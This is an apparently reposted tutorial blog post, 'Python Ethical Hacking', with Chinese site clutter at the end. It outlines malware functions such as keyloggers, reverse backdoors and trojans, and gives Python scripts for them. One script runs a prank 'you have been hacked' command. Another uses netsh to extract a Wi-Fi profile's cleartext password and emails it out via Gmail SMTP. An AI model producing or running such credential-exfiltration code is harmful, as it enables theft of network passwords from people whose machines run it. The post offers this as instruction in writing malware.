Python Ethical Hacking - Malware Analysis(1)

WRITING MALWARE

  • Download file.
  • Execute Code.
  • Send Report.
  • Download & Execute.
  • Execute & Report.
  • Download, Execute & Report.

KEYLOGGER

A program that records keys pressed on the keyboard.

REVERSE_BACKDOOR

  • Access file system.
  • Execute system commands.
  • Download files.
  • Upload files.
  • Persistence.

PROGRAMMING TROJANS

CROSS-PLATFORM COMPATIBILITY

 

EXECUTE_COMMAND

Execute system command on target.

le:

  • if a program is executed on Windows -> execute windows commands.
  • if a program is executed on Mac OS X -> execute Unix commands.

After packaging:

  • Execute any system command on any OS using a single file. 
#!/usr/bin/env python

import subprocess

command = "msg * you have been hacked"
subprocess.Popen(command, shell=True)

 

Execute AND Report

Execute system command on the target and send the result to email.

#!/usr/bin/env python

import smtplib
import subprocess


def send_mail(email, password, message):
    server = smtplib.SMTP("smtp.gmail.com", 587)
    server.starttls()
    server.login(email, password)
    server.sendmail(email, email, message)
    server.quit()


command = "netsh wlan show profile \"Panda Home\" key=clear"
result = subprocess.check_output(command, shell=True)
send_mail("aaaa@gmail.com", "1111111", result)

 

转载于:https://www.cnblogs.com/keepmoving1113/p/11604807.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值